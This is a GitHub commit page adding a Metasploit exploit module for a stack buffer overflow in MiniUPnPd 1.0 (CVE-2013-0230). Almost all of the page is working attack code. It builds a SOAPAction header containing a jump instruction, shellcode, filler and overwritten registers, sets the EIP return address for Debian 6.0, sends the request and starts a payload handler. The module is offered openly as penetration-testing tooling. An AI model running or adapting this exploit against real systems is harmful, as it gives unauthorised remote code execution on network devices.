Skip to content

Commit 1ceed1e

Browse files
committed
Added corrected MiniUPnP module.
1 parent d656360 commit 1ceed1e

File tree

1 file changed

+128
-0
lines changed

1 file changed

+128
-0
lines changed
Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
16+
'Description' =>
17+
%q{
18+
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability present
19+
in the SOAPAction HTTP header.
20+
},
21+
'Author' => [ 'Dejan Lukan' ],
22+
'License' => MSF_LICENSE,
23+
'Version' => '$Revision: 9999 $',
24+
'DefaultOptions' => { 'EXITFUNC' => 'process', },
25+
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
26+
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
27+
# of the program is never reached)
28+
'Payload' => { 'Space' => 2060, 'BadChars' => "\x00\x22", 'DisableNops' => true },
29+
'Platform' => 'linux',
30+
'References' => [
31+
[ 'CVE', '2013-0230' ],
32+
[ 'OSVDB', '89624' ],
33+
],
34+
'Targets' =>
35+
[
36+
#['Debian GNU/Linux 4.0', { 'Ret' => 0x0804c334, 'Offset' => 2123 }],
37+
['Debian GNU/Linux 6.0', { 'Ret' => 0x0804ee43, 'Offset' => 2123 }],
38+
],
39+
'DefaultTarget' => 0,
40+
'Privileged' => false,
41+
'DisclosureDate' => 'Mar 27 2013',
42+
))
43+
44+
register_options(
45+
[
46+
Opt::RPORT(5555),
47+
], self.class)
48+
end
49+
50+
def check
51+
packet = "M-SEARCH * HTTP/1.1\r\n \
52+
HOST: 239.255.255.250:1900\r\n \
53+
ST: ssdp:all\r\n \
54+
MX:2\r\n \
55+
MAN:\"ssdp:discover\"\r\n"
56+
end
57+
58+
def exploit
59+
#
60+
# Build the SOAP Exploit
61+
#
62+
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
63+
sploit = "\xeb\x2d"
64+
65+
# a valid action
66+
sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
67+
68+
# payload
69+
sploit += payload.encoded
70+
71+
# nops
72+
#sploit += "\x90"*(target['Offset'] - sploit.length - 16)
73+
sploit += rand_text(target['Offset'] - sploit.length - 16)
74+
75+
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
76+
sploit += "\x41\x41\x41\x41" # overwrite EBX
77+
sploit += "\x42\x42\x42\x42" # overwrite ESI
78+
sploit += "\x43\x43\x43\x43" # overwrite EDI
79+
sploit += "\x44\x44\x44\x44" # overwrite EBP
80+
81+
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
82+
# stack points directly to the string after 'Soapaction: ', which is why we must
83+
# throw the first value on the stack away, which we're doing with the pop ebp
84+
# instruction. Then we're returning to the next value on the stack, which is
85+
# exactly the address that we want.
86+
sploit += [target.ret].pack('V')
87+
88+
# the ending " character is necessary for the vulnerability to be reached
89+
sploit += "\""
90+
91+
# data sent in the POST body
92+
data =
93+
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
94+
"<SOAP-ENV:Envelope\r\n" +
95+
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
96+
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
97+
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
98+
">\r\n" +
99+
"<SOAP-ENV:Body>\r\n" +
100+
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
101+
"</ns1:action>\r\n" +
102+
"</SOAP-ENV:Body>\r\n" +
103+
"</SOAP-ENV:Envelope>\r\n"
104+
105+
106+
#
107+
# Build and send the HTTP request
108+
#
109+
print_status("Sending exploit to victim #{target.name} at ...")
110+
send_request_raw({
111+
'uri' => target_uri.path,
112+
'method' => 'POST',
113+
'headers' => {
114+
'SOAPAction' => sploit,
115+
#'User-Agent' => 'Python-urllib/2.7',
116+
#'Connection' => 'close',
117+
#'Content-Type' => 'application/x-www-form-urlencoded',
118+
},
119+
'data' => data,
120+
})
121+
122+
# handle the exploit
123+
handler
124+
125+
# disconnect from the server
126+
disconnect
127+
end
128+
end

0 commit comments

Comments
 (0)